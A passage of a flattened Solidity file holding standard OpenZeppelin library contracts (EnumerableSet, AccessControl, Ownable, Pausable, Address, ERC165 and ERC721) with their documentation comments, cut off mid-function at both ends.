bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: @openzeppelin/contracts/access/IAccessControl.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/access/IAccessControlEnumerable.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/access/AccessControlEnumerable.sol pragma solidity ^0.8.0; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, 